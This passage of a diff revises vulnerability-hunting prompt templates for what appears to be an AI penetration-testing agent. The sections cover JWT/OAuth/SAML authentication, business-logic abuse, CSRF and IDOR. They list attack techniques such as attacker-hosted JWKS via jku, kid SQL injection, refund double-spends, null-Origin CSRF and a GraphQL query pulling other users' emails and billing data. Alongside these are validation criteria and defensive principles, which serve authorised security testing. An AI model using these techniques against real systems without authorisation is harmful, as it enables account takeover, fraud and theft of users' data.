server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak +- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens +- typ/cty not enforced: accept ID token where access token required (token confusion) + + + +- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ +- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B +- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier +- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services + + + +- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection +- Long-lived JWTs with no revocation: persistent access post-logout +- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies + + + +- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF +- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses +- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device + + - -Embed public key in token header: -{% raw %}{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}{% endraw %} - - - -Set jku/x5u to attacker-controlled URL hosting malicious JWKS - - - -Extract signature byte-by-byte using verification timing differences - - - - - -- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution -- Missing/predictable state parameter = CSRF -- PKCE downgrade: remove code_challenge parameter - - - - -- Signature exclusion: remove signature element -- Signature wrapping: inject assertions -- XXE in SAML responses - - - -- Session fixation: force known session ID -- Session puzzling: mix different session objects -- Race conditions in session generation - - - -- Predictable tokens: MD5(timestamp), sequential numbers -- Host header injection for reset link poisoning -- Race condition resets - - - -- Response manipulation: change success:false to true -- Status code manipulation: 403 to 200 -- Brute force with no rate limiting -- Backup code abuse - - - - -Different representations: admin@example.com (fullwidth), аdmin@example.com (Cyrillic) - - - -- JWT + SQLi: kid parameter with SQL injection -- OAuth + XSS: steal tokens via XSS -- SAML + XXE + SSRF: chain for internal access - - - - -- jwt_tool: Comprehensive JWT testing -- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json - + +- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services +- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims +- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay + + + +- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths +- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored + + + + +- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens +- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible + + + +- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens + + + + +- XSS → token theft → replay across services with weak audience checks +- SSRF → fetch private JWKS → sign tokens accepted by internal services +- Host header poisoning → OIDC redirect_uri poisoning → code capture +- IDOR in sessions/impersonation endpoints → mint tokens for other users + -To confirm authentication flaw: -1. Demonstrate account access without credentials -2. Show privilege escalation -3. Prove token forgery works -4. Bypass authentication/2FA requirements -5. Maintain persistent access +1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS). +2. Demonstrate access token vs ID token confusion at an API. +3. Prove refresh token reuse without rotation detection or revocation. +4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control. +5. Provide owner vs non-owner evidence with identical requests differing only in token context. -NOT a vulnerability if: -- Requires valid credentials -- Only affects own session -- Proper signature validation -- Token expiration enforced -- Rate limiting prevents brute force +- Token rejected due to strict audience/issuer enforcement +- Key pinning with JWKS whitelist and TLS validation +- Short-lived tokens with rotation and revocation on logout +- ID token not accepted by APIs that require access tokens -- Account takeover: access other users' accounts -- Privilege escalation: user to admin -- Token forgery: create valid tokens -- Bypass mechanisms: skip auth/2FA -- Persistent access: survives logout +- Account takeover and durable session persistence +- Privilege escalation via claim manipulation or cross-service acceptance +- Cross-tenant or cross-application data access +- Token minting by attacker-controlled keys or endpoints -Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration. + +1. Pin verification to issuer and audience; log and diff claim sets across services. +2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk). +3. Test token reuse across all services; many backends only check signature, not audience/typ. +4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks. +5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up. +6. Try DPoP/mTLS absence to replay tokens from different devices. +7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping. +8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC. +9. Favor minimal PoCs that clearly show cross-context acceptance and durable access. +10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each. + + +Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion. diff --git a/strix/prompts/vulnerabilities/business_logic.jinja b/strix/prompts/vulnerabilities/business_logic.jinja index ac9115094..cacc35c43 100644 --- a/strix/prompts/vulnerabilities/business_logic.jinja +++ b/strix/prompts/vulnerabilities/business_logic.jinja @@ -1,143 +1,171 @@ -BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION - -Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities. +BUSINESS LOGIC FLAWS + +Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads. + + +- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks +- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion +- Authorization-by-logic: feature gates, role transitions, approval workflows +- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing +- Multi-tenant isolation: cross-organization data or action bleed +- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency + + + +1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount"). +2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role. +3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit). +4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL. +5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation). + -- Map complete user journeys and state transitions -- Document developer assumptions -- Find edge cases in workflows -- Look for missing validation steps -- Identify trust boundaries + +- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints +- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions +- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription) + + + +- Hidden fields and client-computed totals; server must recompute on trusted sources +- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation +- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes + + + +- Replays: resubmit stale finalize/confirm requests +- Out-of-order: call finalize before verify; refund before capture; cancel after ship +- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges + - -- Price manipulation (negative quantities, decimal truncation) -- Currency conversion abuse (buy weak, refund strong) -- Discount/coupon stacking -- Payment method switching after verification -- Cart manipulation during checkout - - - -- Registration race conditions (same email/username) -- Account type elevation -- Trial period extension -- Subscription downgrade with feature retention - - - -- Function-level bypass (accessing admin functions as user) -- Object reference manipulation -- Permission inheritance bugs -- Multi-tenancy isolation failures - +- Pricing/cart: price locks, quote to order, tax/shipping computation +- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement +- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys +- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability +- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting +- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges +- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags +- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters - -Use race conditions to: -- Double-spend vouchers/credits -- Bypass rate limits -- Create duplicate accounts -- Exploit TOCTOU vulnerabilities - - - -- Skip workflow steps -- Replay previous states -- Force invalid state transitions -- Manipulate hidden parameters - - - -- Type confusion: string where int expected -- Boundary values: 0, -1, MAX_INT -- Format abuse: scientific notation, Unicode -- Encoding tricks: double encoding, mixed encoding - - - - - -- Add items with negative price -- Modify prices client-side -- Apply expired coupons -- Stack incompatible discounts -- Change currency after price lock - - - -- Complete order before payment -- Partial payment acceptance -- Payment replay attacks -- Void after delivery -- Refund more than paid - - - -- Premium features in trial -- Account deletion bypasses -- Privilege retention after demotion -- Transfer restrictions bypass - - + +- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition +- Replay prior steps with altered parameters (e.g., swap price after approval but before capture) +- Split a single constrained action into many sub-actions under the threshold (limit slicing) + + + +- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer) +- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache +- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund + + + +- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries +- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order +- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails + + + +- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s +- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies +- Distributed counters without strong consistency enabling double-consumption + + + +- Double-refund: refund via UI and support tool; refund partials summing above captured amount +- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks + + + +- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled +- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion) + - -- Exceed account limits -- Bypass geographic restrictions -- Violate temporal constraints -- Break dependency chains - - - -- Parallel execution of exclusive processes -- Recursive operations (infinite loops) -- Asynchronous timing exploitation -- Callback manipulation - - + +- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation +- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects +- Cron/backfill jobs operating outside request-time authorization; mutate state broadly + + + +- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls +- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges +- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state + + + +- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs +- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement + + + +- Content-type switching (json/form/multipart) to hit different code paths +- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override) +- Client recomputation: totals, taxes, discounts computed on client and accepted by server +- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware + + + + +- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes +- Modify shipping tier post-quote; abuse returns to keep product and refund + + + +- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies +- Exploit grace periods on holds/authorizations to withdraw again before settlement + + + +- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks +- Usage metering: report late or duplicate usage to avoid billing or to over-consume + + + + +- Business logic + race: duplicate benefits before state updates +- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs +- Business logic + CSRF: force a victim to complete a sensitive step sequence + -To confirm business logic flaw: -1. Demonstrate financial impact -2. Show consistent reproduction -3. Prove bypass of intended restrictions -4. Document assumption violation -5. Quantify potential damage +1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas). +2. Provide side-by-side evidence for intended vs abused flows with the same principal. +3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views). +4. Quantify impact per action and at scale (unit loss × feasible repetitions). -NOT a business logic flaw if: -- Requires technical vulnerability (SQLi, XSS) -- Working as designed (bad design ≠ vulnerability) -- Only affects display/UI -- No security impact -- Requires privileged access +- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits) +- Visual-only inconsistencies with no durable or exploitable state change +- Admin-only operations with proper audit and approvals -- Financial loss (direct monetary impact) -- Unauthorized access to features/data -- Service disruption -- Compliance violations -- Reputation damage +- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption) +- Regulatory/contractual violations (billing accuracy, consumer protection) +- Denial of inventory/services to legitimate users through resource exhaustion +- Privilege retention or unauthorized access to premium features -1. Think like a malicious user, not a developer -2. Question every assumption -3. Test boundary conditions obsessively -4. Combine multiple small issues -5. Focus on money flows -6. Check state machines thoroughly -7. Abuse features, don't break them -8. Document business impact clearly -9. Test integration points -10. Time is often a factor - exploit it +1. Start from invariants and ledgers, not UI—prove conservation of value breaks. +2. Test with time and concurrency; many bugs only appear under pressure. +3. Recompute totals server-side; never accept client math—flag when you observe otherwise. +4. Treat idempotency and retries as first-class: verify key scope and persistence. +5. Probe background workers and webhooks separately; they often skip auth and rule checks. +6. Validate role/feature gates at the service that mutates state, not only at the edge. +7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues. +8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss. +9. Chain with authorization tests (IDOR/Function-level access) to magnify impact. +10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards. -Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain. +Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse. diff --git a/strix/prompts/vulnerabilities/csrf.jinja b/strix/prompts/vulnerabilities/csrf.jinja index e17f1a999..9bfd223c3 100644 --- a/strix/prompts/vulnerabilities/csrf.jinja +++ b/strix/prompts/vulnerabilities/csrf.jinja @@ -1,168 +1,174 @@ -CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION +CROSS-SITE REQUEST FORGERY (CSRF) -CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser. +CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change. + + +- Web apps with cookie-based sessions and HTTP auth +- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints +- Authentication flows: login/logout, password/email change, MFA toggles +- OAuth/OIDC: authorize, token, logout, disconnect/connect + + + +1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight). +2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer. +3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation. +4. Validate across browsers; behavior differs by SameSite and navigation context. + -- Password/email change forms -- Money transfer/payment functions -- Account deletion/deactivation -- Permission/role changes -- API key generation/regeneration -- OAuth connection/disconnection -- 2FA enable/disable -- Privacy settings modification -- Admin functions -- File uploads/deletions +- Credentials and profile changes (email/password/phone) +- Payment and money movement, subscription/plan changes +- API key/secret generation, PAT rotation, SSH keys +- 2FA/TOTP enable/disable; backup codes; device trust +- OAuth connect/disconnect; logout; account deletion +- Admin/staff actions and impersonation flows +- File uploads/deletes; access control changes - -Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN - -Check if tokens are: -- Actually validated (remove and test) -- Tied to user session -- Reusable across requests -- Present in GET requests -- Predictable or static - - - -- Test if POST endpoints accept GET -- Try method override headers: _method, X-HTTP-Method-Override -- Check if PUT/DELETE lack protection - + +- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure. +- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone). + + + +- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path. +- Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values. + + + +- Confirm whether GET, HEAD, or OPTIONS perform state changes. +- Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain. +- Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON. + + + +- Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration. +- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge. + - -HTML form auto-submit: -

- - - - - + +- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced. +- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks. + + + +- application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings. +- text/plain form bodies can slip through validators and be parsed server-side. + -For JSON endpoints: -
- -
+- If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side. +- Some frameworks accept JSON keys via form fields (e.g., {% raw %}data[foo]=bar{% endraw %}) or treat duplicate keys leniently.
- -For file uploads: -Use XMLHttpRequest with credentials -Generate multipart/form-data boundaries - - + +- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker’s account. +- Login CSRF: submit attacker credentials to victim’s browser; later actions occur under attacker’s account. + - - -- Null token: remove parameter entirely -- Empty token: csrf_token= -- Token from own account: use your valid token -- Token fixation: force known token value -- Method interchange: GET token used for POST - - - -- Referer bypass: use data: URI, about:blank -- Origin bypass: null origin via sandboxed iframe -- CORS misconfigurations - - - -- Change multipart to application/x-www-form-urlencoded -- Use text/plain for JSON endpoints -- Exploit parsers that accept multiple formats - - + +- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations. +- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations. + + + +- File upload/delete often lack token checks; forge multipart requests to modify storage. +- Admin actions exposed as simple POST links are frequently CSRFable. + + - -- XSS on subdomain = CSRF on main domain -- Cookie scope abuse (domain=.example.com) -- Subdomain takeover for CSRF - - - -- Force victim to login as attacker -- Plant backdoors in victim's account -- Access victim's future data - - - -- Force logout → login CSRF → account takeover - - - -If using double-submit cookies: -- Set cookie via XSS/subdomain -- Cookie injection via header injection -- Cookie tossing attacks - - + +- Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps. +- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices. + - - -- Cross-origin WebSocket hijacking -- Steal tokens from WebSocket messages - + +- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null. +- about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match. + + + +- Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST. + -- GET requests with query parameter -- Batched mutations -- Subscription abuse +- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads. +- Batched operations may hide mutations within a nominally safe request. - -- Bearer tokens in URL parameters -- API keys in GET requests -- Insecure CORS policies - + +- Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions. + + + + + +- Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET. +- Double-submit cookie without Secure/HttpOnly, or with predictable token sources. + + + +- Switch between form, multipart, and text/plain to reach different code paths and validators. +- Use duplicate keys and array shapes to confuse parsers. + + + +- Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance. +- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens. + + + + + +- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links. +- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable. + + + +- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too. + + +- CSRF + IDOR: force actions on other users' resources once references are known. +- CSRF + Clickjacking: guide user interactions to bypass UI confirmations. +- CSRF + OAuth mix-up: bind victim sessions to unintended clients. + + -To confirm CSRF: -1. Create working proof-of-concept -2. Test across browsers -3. Verify action completes successfully -4. No user interaction required (beyond visiting page) -5. Works with active session +1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting. +2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified. +3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch). +4. Provide before/after state evidence for the same account. +5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin). -NOT CSRF if: -- Requires valid CSRF token -- SameSite cookies properly configured -- Proper origin/referer validation -- User interaction required -- Only affects non-sensitive actions +- Token verification present and required; Origin/Referer enforced consistently. +- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests. +- Only idempotent, non-sensitive operations affected. -- Account takeover -- Financial loss -- Data modification/deletion -- Privilege escalation -- Privacy violations +- Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions. +- Durable authorization changes (role/permission flips, key rotations) and data loss. -1. Check all state-changing operations -2. Test file upload endpoints -3. Look for token disclosure in URLs -4. Chain with XSS for token theft -5. Check mobile API endpoints -6. Test CORS configurations -7. Verify SameSite cookie settings -8. Look for method override possibilities -9. Test WebSocket endpoints -10. Document clear attack scenario +1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available. +2. Test login/logout, OAuth connect/disconnect, and account linking first. +3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them. +4. Toggle SameSite and observe differences across navigation vs XHR. +5. For GraphQL, attempt GET queries or persisted queries that carry mutations. +6. Always try method overrides and parser differentials. +7. Combine with clickjacking when visual confirmations block CSRF. -Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured. +CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports. diff --git a/strix/prompts/vulnerabilities/idor.jinja b/strix/prompts/vulnerabilities/idor.jinja index b2a29cb1c..c6b70e3e5 100644 --- a/strix/prompts/vulnerabilities/idor.jinja +++ b/strix/prompts/vulnerabilities/idor.jinja @@ -1,164 +1,195 @@ -INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES +INSECURE DIRECT OBJECT REFERENCE (IDOR) -IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover. +Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller. + + +- Horizontal access: access another subject's objects of the same type +- Vertical access: access privileged objects/actions (admin-only, staff-only) +- Cross-tenant access: break isolation boundaries in multi-tenant systems +- Cross-service access: token or context accepted by the wrong service + + + +1. Build a Subject × Object × Action matrix (who can do what to which resource). +2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal. +3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC). +4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway. + -- Numeric IDs: user_id=123, account=456 -- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000 -- Encoded IDs: Base64, hex, custom encoding -- Composite IDs: user-org-123-456, ACCT:2024:00123 -- Hash-based IDs: Check if predictable (MD5 of sequential numbers) -- Object references in: URLs, POST bodies, headers, cookies, JWT tokens +- Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages +- Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs +- Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId +- Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers) +- Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state) -- Boundary values: 0, -1, null, empty string, max int -- Different formats: {% raw %}{"id":123} vs {"id":"123"}{% endraw %} -- ID patterns: increment, decrement, similar patterns -- Wildcard testing: *, %, _, all -- Array notation: id[]=123&id[]=456 +- Alternate types: {% raw %}{"id":123}{% endraw} vs {% raw %}{"id":"123"}{% endraw}, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend +- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys {% raw %}{"id":1,"id":2}{% endraw} (parser precedence differences) +- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account +- Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv +- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation -- User profiles and PII -- Financial records/transactions -- Private messages/communications -- Medical records -- API keys/secrets -- Internal documents -- Admin functions -- Export endpoints -- Backup files -- Debug information +- Exports/backups/reporting endpoints (CSV/PDF/ZIP) +- Messaging/mailbox/notifications, audit logs, activity feeds +- Billing: invoices, payment methods, transactions, credits +- Healthcare/education records, HR documents, PII/PHI/PCI +- Admin/staff tools, impersonation/session management +- File/object storage keys (S3/GCS signed URLs, share links) +- Background jobs: import/export job IDs, task results +- Multi-tenant resources: organizations, workspaces, projects - -Simple increment/decrement: -/api/user/123 → /api/user/124 -/download?file=report_2024_01.pdf → report_2024_02.pdf - - - -Automate ID ranges: -for i in range(1, 10000): - /api/user/{i}/data - - - -- String where int expected: "123" vs 123 -- Array where single value expected: [123] vs 123 -- Object injection: {% raw %}{"id": {"$ne": null}}{% endraw %} - - + +- Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access +- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications + - - -- Time-based UUIDs (version 1): predictable timestamps -- Weak randomness in version 4 -- Sequential UUID generation - - - -- Side channel: response time, size differences -- Error message variations -- Boolean-based: exists vs not exists - + +- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array +- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks + -First get list of IDs, then access: -/api/users → [123, 456, 789] -/api/user/789/private-data +- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly +- Pagination/cursor manipulation to skip filters and pull other users' pages + + +- Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId}) +- Cancel/approve someone else's jobs by referencing their task IDs + + + +- Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants +- Replace share tokens with tokens from other tenants; try case/URL-encoding variations + + + + + +- Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop +- Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses +- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test {% raw %}node(id: "...base64..."){...}{% endraw %} +- Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers +- Example: +{% raw %} +query IDOR { + me { id } + u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } } + u2: node(id: "VXNlcjo0NTc=") { ... on User { email } } +} +{% endraw %} + + + +- Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks +- Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them +- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization + + + +- Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org +- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants + + + +- UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding +- Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access + + + +- Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects +- HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content + + +- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser +- Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes +- JSON duplicate keys/array injection to bypass naive validators + + -?id=123&id=456 (takes last or first?) -?user_id=victim&user_id=attacker +- Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings +- Mix case/alias param names so gateway and backend disagree (userId vs userid) - -- URL encode: %31%32%33 -- Double encoding: %25%33%31 -- Unicode: \u0031\u0032\u0033 - - - -userId vs userid vs USERID vs UserId - - - -/api/user.json?id=123 -/api/user.xml?id=123 -/api/user/123.json vs /api/user/123 - + +- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept +- Redirect chains and 304/206 behaviors can leak content across tenants + + + +- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests + - -Query batching and alias abuse: -query { u1: user(id: 123) { data } u2: user(id: 456) { data } } - - - -Subscribe to other users' channels: -{% raw %}{"subscribe": "user_456_notifications"}{% endraw %} - - - -../../../other_user/private.pdf -/files/user_123/../../user_456/data.csv - + +- Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake +- Try sending messages with target user IDs after subscribing to own channels + + + +- Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals + + + +- Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership +- Third-party importers syncing data into wrong tenant due to missing tenant binding + -- IDOR + XSS: Access and weaponize other users' data -- IDOR + CSRF: Force actions on discovered objects -- 